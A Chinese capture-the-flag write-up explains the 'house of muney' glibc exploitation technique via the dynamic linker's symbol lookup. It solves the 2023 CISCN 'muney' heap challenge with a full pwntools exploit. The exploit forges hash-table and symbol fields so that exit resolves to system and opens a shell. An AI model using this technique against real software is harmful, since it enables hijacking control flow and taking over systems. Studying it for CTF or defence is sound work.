house_of_muney [2023CISCN]

CH13hh發表於2024-10-10

house_of_muney

首先介紹一下house of muney 這個利用原理:

在瞭解過_dl_runtime_resolve的前提下,當程式保護開了延遲繫結的時候,程式第一次呼叫相關函式的時候會執行下面的命令

push n
push ModuleID
jmp _dl_runtime_resolve

這裡的n對應的是這個符號在rel.plt重定位表中的下標然後第二個MoudleID則一般是本程式的link_map結構體的地址,解析來就進入到了_dl_runtime_resolve函式

我們來看看這個函式做了什麼

/* This function is called through a special trampoline from the PLT the first time each PLT entry is called.  We must perform the relocation specified in the PLT of the given shared object, and return the resolved function address to the trampoline, which will restart the original call to that address.Future calls will bounce directly from the PLT to the
   function.  */

DL_FIXUP_VALUE_TYPE
attribute_hidden __attribute ((noinline)) ARCH_FIXUP_ATTRIBUTE
_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
	   ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
	   struct link_map *l, ElfW(Word) reloc_arg)
{
  const ElfW(Sym) *const symtab
    = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
  const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);

  const PLTREL *const reloc
    = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
  const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
  const ElfW(Sym) *refsym = sym;
  void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
  lookup_t result;
  DL_FIXUP_VALUE_TYPE value;

  /* Sanity check that we're really looking at a PLT relocation.  */
  assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);

   /* Look up the target symbol.  If the normal lookup rules are not
      used don't look in the global scope.  */
  if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
    {
      const struct r_found_version *version = NULL;

      if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
	{
	  const ElfW(Half) *vernum =
	    (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
	  ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
	  version = &l->l_versions[ndx];
	  if (version->hash == 0)
	    version = NULL;
	}

      /* We need to keep the scope around so do some locking.  This is
	 not necessary for objects which cannot be unloaded or when
	 we are not using any threads (yet).  */
      int flags = DL_LOOKUP_ADD_DEPENDENCY;
      if (!RTLD_SINGLE_THREAD_P)
	{
	  THREAD_GSCOPE_SET_FLAG ();
	  flags |= DL_LOOKUP_GSCOPE_LOCK;
	}

#ifdef RTLD_ENABLE_FOREIGN_CALL
      RTLD_ENABLE_FOREIGN_CALL;
#endif

      result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
				    version, ELF_RTYPE_CLASS_PLT, flags, NULL);

      /* We are done with the global scope.  */
      if (!RTLD_SINGLE_THREAD_P)
	THREAD_GSCOPE_RESET_FLAG ();

#ifdef RTLD_FINALIZE_FOREIGN_CALL
      RTLD_FINALIZE_FOREIGN_CALL;
#endif

      /* Currently result contains the base load address (or link map)
	 of the object that defines sym.  Now add in the symbol
	 offset.  */
      value = DL_FIXUP_MAKE_VALUE (result,
				   SYMBOL_ADDRESS (result, sym, false));
    }
  else
    {
      /* We already found the symbol.  The module (and therefore its load
	 address) is also known.  */
      value = DL_FIXUP_MAKE_VALUE (l, SYMBOL_ADDRESS (l, sym, true));
      result = l;
    }

  /* And now perhaps the relocation addend.  */
  value = elf_machine_plt_value (l, reloc, value);

  if (sym != NULL
      && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
    value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));

  /* Finally, fix up the plt itself.  */
  if (__glibc_unlikely (GLRO(dl_bind_not)))
    return value;

  return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);
}

可以看見又繼續呼叫_dl_lookup_symbol_x這個函式 ,它會開始在link_map尋找符號,實際上呼叫了do_lookup_x

* Inner part of the lookup functions.  We return a value > 0 if we
   found the symbol, the value 0 if nothing is found and < 0 if
   something bad happened.  */
static int
__attribute_noinline__
do_lookup_x (const char *undef_name, uint_fast32_t new_hash,
	     unsigned long int *old_hash, const ElfW(Sym) *ref,
	     struct sym_val *result, struct r_scope_elem *scope, size_t i,
	     const struct r_found_version *const version, int flags,
	     struct link_map *skip, int type_class, struct link_map *undef_map)
{
  size_t n = scope->r_nlist;
  /* Make sure we read the value before proceeding.  Otherwise we
     might use r_list pointing to the initial scope and r_nlist being
     the value after a resize.  That is the only path in dl-open.c not
     protected by GSCOPE.  A read barrier here might be to expensive.  */
  __asm volatile ("" : "+r" (n), "+m" (scope->r_list));
  struct link_map **list = scope->r_list;

  do
    {
      const struct link_map *map = list[i]->l_real;

      /* Here come the extra test needed for `_dl_lookup_symbol_skip'.  */
      if (map == skip)
	continue;

      /* Don't search the executable when resolving a copy reloc.  */
      if ((type_class & ELF_RTYPE_CLASS_COPY) && map->l_type == lt_executable)
	continue;

      /* Do not look into objects which are going to be removed.  */
      if (map->l_removed)
	continue;

      /* Print some debugging info if wanted.  */
      if (__glibc_unlikely (GLRO(dl_debug_mask) & DL_DEBUG_SYMBOLS))
	_dl_debug_printf ("symbol=%s;  lookup in file=%s [%lu]\n",
			  undef_name, DSO_FILENAME (map->l_name),
			  map->l_ns);

      /* If the hash table is empty there is nothing to do here.  */
      if (map->l_nbuckets == 0)
	continue;

      Elf_Symndx symidx;
      int num_versions = 0;
      const ElfW(Sym) *versioned_sym = NULL;

      /* The tables for this map.  */
      // 找到符號表和字串表(當前link_map)
      const ElfW(Sym) *symtab = (const void *) D_PTR (map, l_info[DT_SYMTAB]);
      const char *strtab = (const void *) D_PTR (map, l_info[DT_STRTAB]);

      const ElfW(Sym) *sym;
      // 獲取bitmask
      const ElfW(Addr) *bitmask = map->l_gnu_bitmask;
      if (__glibc_likely (bitmask != NULL))
	{
      // 獲取bitmask_word,這裡需要偽造
	  ElfW(Addr) bitmask_word
	    = bitmask[(new_hash / __ELF_NATIVE_CLASS)
		      & map->l_gnu_bitmask_idxbits];

	  unsigned int hashbit1 = new_hash & (__ELF_NATIVE_CLASS - 1);
	  unsigned int hashbit2 = ((new_hash >> map->l_gnu_shift)
				   & (__ELF_NATIVE_CLASS - 1));

	  if (__glibc_unlikely ((bitmask_word >> hashbit1)
				& (bitmask_word >> hashbit2) & 1))
	    {
          // 獲取bucket,這裡需要偽造
	      Elf32_Word bucket = map->l_gnu_buckets[new_hash
						     % map->l_nbuckets];
	      if (bucket != 0)
		{
          // hasharr,這裡也需要偽造對應的值
		  const Elf32_Word *hasharr = &map->l_gnu_chain_zero[bucket];

		  do
		    if (((*hasharr ^ new_hash) >> 1) == 0)
		      {
			symidx = ELF_MACHINE_HASH_SYMIDX (map, hasharr);
			sym = check_match (undef_name, ref, version, flags,
					   type_class, &symtab[symidx], symidx,
					   strtab, map, &versioned_sym,
					   &num_versions);
			if (sym != NULL)
			  goto found_it;
		      }
		  while ((*hasharr++ & 1u) == 0);
		}
	    }
          //....
  }

這裡是roderick師傅做了註釋之後的程式碼,上面標註了我們需要偽造的值

  1. bitmask_word
  2. bucket
  3. hasharr

還有兩個比較重要的值就是set_name 和set_value,前半部分是透過查詢該函式符號和strtab之間的偏移得到的,不同的程式得到的不同,而set_vaule是透過相應的libc環境編譯而來的的對於需求函式,這裡也是透過除錯獲得,簡而言之,如果控制了set_name 就可以正確解析到相應的函式名,控制了set_vaule就可以控制呼叫函式解析到需求函式的地址進而呼叫需求函式。

在2023年的CISCN有一道題目

muney

保護策略

house_of_muney [2023CISCN]

ida逆向分析

house_of_muney [2023CISCN]

是一個堆題,前提是需要實驗http格式傳送相應選項,讓web手給說個形式

house_of_muney [2023CISCN]

比如使用

def edit(idx,offset,content_length,content):
    payload=b"""POST /edit HTTP/1.1
Host: 127.0.0.1:8888
Accept-Encoding: gzip
Connection: close
Idx: """+str(idx).encode()+b"""
Offset: """+str(offset).encode()+b"""
Content-Length: """+str(content_length).encode()+b"""\n\r\n"""+content

來定義edit函式,其餘的以此類推

這題的漏洞主要在edit函式,只限制不能超過申請堆塊大小,但是沒有限制長度為負數,也是就可以修改到低地址處的內容,比如可以修改堆塊size

house_of_muney [2023CISCN]

此外這題的malloc函式給的範圍在0xFFFFF以上及申請0x100000大小的堆塊以上,那麼意味著申請的堆塊由mmp直接分配,那麼會在libc上面mmp出一塊記憶體

house_of_muney [2023CISCN]

給的後門是exit(/bin/sh)

house_of_muney [2023CISCN]

如果給exit解析成system即可拿到shell

這裡就需要偽造libc裡面的一系列上面提到的內容

這裡給出除錯指令碼

from gt import *
con("amd64")

p = process("./muney")
#p = remote("127.0.0.1","9999")

def create(size,content_length,content):
    payload="""POST /create HTTP/1.1
Host: 127.0.0.1:8888
Accept-Encoding: gzip
Connection: close
Size: """+str(size)+"""
Content-Length: """+str(content_length)+"""\n\r\n"""+content
    return payload

def edit(idx,offset,content_length,content):
    payload=b"""POST /edit HTTP/1.1
Host: 127.0.0.1:8888
Accept-Encoding: gzip
Connection: close
Idx: """+str(idx).encode()+b"""
Offset: """+str(offset).encode()+b"""
Content-Length: """+str(content_length).encode()+b"""\n\r\n"""+content

    return payload

def delete(idx):
    payload="""POST /delete HTTP/1.1
Host: 127.0.0.1:8888
Accept-Encoding: gzip
Connection: close
Idx: """+str(idx)+"""
Content-Length: 16\n\r\n"""+"a"*16

    return payload

def quit():
    payload="""POST /quit HTTP/1.1
Host: 127.0.0.1:8888
Accept-Encoding: gzip
Connection: close
Idx: """+str(0)+"""
Content-Length: 16\n\r\n"""+"a"*16
    return payload
gdb.attach(p)
p.sendafter("HTTP_Parser> ",quit())
p.interactive()

這裡需要原始碼級的除錯,在事先匯入原始碼目錄

house_of_muney [2023CISCN]

push n ...... 進入 _dl_runtime_resolve

house_of_muney [2023CISCN]

繼續步入進入_dl_fixup

house_of_muney [2023CISCN]

在這裡先空走一輪while迴圈,因為這裡看的是第二次解析的地址

house_of_muney [2023CISCN]

這裡看一下bitmask_word 的內容

house_of_muney [2023CISCN]

house_of_muney [2023CISCN]

繼續往後走,這裡看一下bucket 的內容

house_of_muney [2023CISCN]

house_of_muney [2023CISCN]

然後看一下hasharr的內容

house_of_muney [2023CISCN]

house_of_muney [2023CISCN]

因為環境是20.04環境,我這裡使用20.04虛擬機器來找偏移

house_of_muney [2023CISCN]

這裡0x46a40是exit的set_vuale set_name需要找一下strtab和exit字串的偏移

house_of_muney [2023CISCN]

house_of_muney [2023CISCN]

這裡需要嘗試,找到哪一個才是真正的偏移。然後需要找一下同環境下的system的set_vuale

寫一個程式驗證一下

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

int main(){
char *buff;
read(0,buff,0x20);
system("/bin/sh");
return 0;
}

需要開啟延遲繫結,然後關閉pie保護

house_of_muney [2023CISCN]

找到發現是0x52290

那麼現在該有的都有,只需要找一下偏移即可

這裡要注意,實際的偏移和輸入的偏移相差0x1000,因為在起始地址時候減少了0x1000

house_of_muney [2023CISCN]

所以這裡要輸入0x152b78,以此類推

EXP

from gt import *
con("amd64")

#p = process("./muney")
p = remote("127.0.0.1","9999")

def create(size,content_length,content):
    payload="""POST /create HTTP/1.1
Host: 127.0.0.1:8888
Accept-Encoding: gzip
Connection: close
Size: """+str(size)+"""
Content-Length: """+str(content_length)+"""\n\r\n"""+content
    return payload

def edit(idx,offset,content_length,content):
    payload=b"""POST /edit HTTP/1.1
Host: 127.0.0.1:8888
Accept-Encoding: gzip
Connection: close
Idx: """+str(idx).encode()+b"""
Offset: """+str(offset).encode()+b"""
Content-Length: """+str(content_length).encode()+b"""\n\r\n"""+content

    return payload

def delete(idx):
    payload="""POST /delete HTTP/1.1
Host: 127.0.0.1:8888
Accept-Encoding: gzip
Connection: close
Idx: """+str(idx)+"""
Content-Length: 16\n\r\n"""+"a"*16

    return payload

def quit():
    payload="""POST /quit HTTP/1.1
Host: 127.0.0.1:8888
Accept-Encoding: gzip
Connection: close
Idx: """+str(0)+"""
Content-Length: 16\n\r\n"""+"a"*16
    return payload

p.sendafter("HTTP_Parser> ",create(0x150000,16,'a'*16))
p.sendafter("HTTP_Parser> ",edit(0,-8,3,b'\x02\x10\x17'))
#gdb.attach(p)

p.sendafter("HTTP_Parser> ",delete(0))

p.sendafter("HTTP_Parser> ",create(0x171002,16,'b'*16))


p.sendafter("HTTP_Parser> ",edit(0,0x152b78,8,p64(0xf010028c0201130e)))#write data to bitmask_word
p.sendafter("HTTP_Parser> ",edit(0,0x152ca0,1,p8(0x86)))#write data to bucket
p.sendafter("HTTP_Parser> ",edit(0,0x153d6c,8,p64(0x7c967e3e7c93f2a0)))#write data to hasharr
p.sendafter("HTTP_Parser> ",edit(0,0x156d18-0x8,3,b"\x90\x22\x05"))#write data to exit@st_value

p.sendafter("HTTP_Parser> ",edit(0,0x156d18-0x10,3,b"\xbd\xa1\x1a"))#write data to exit@st_name
p.sendafter("HTTP_Parser> ",edit(0,0x156d18-0x10+4,1,b"\x12"))#write data to exit@st_name
p.sendafter("HTTP_Parser> ",edit(0,0x156d18-0x10+6,1,b"\x0f"))#write data to exit@st_name


p.sendafter("HTTP_Parser> ",quit())
p.interactive()

這裡面有幾個點需要注意,第一個是bitmask_word的內容做了一點改變,用看見的內容不行,用這個也許0xaaa101010210130e也就是後4位需要注意。

還有一個就是set_name這個後面4位是需要除錯出來的,第四位和第六位程式裡面裡面得到

result

house_of_muney [2023CISCN]

參考

https://www.cnblogs.com/LynneHuan/p/17822130.html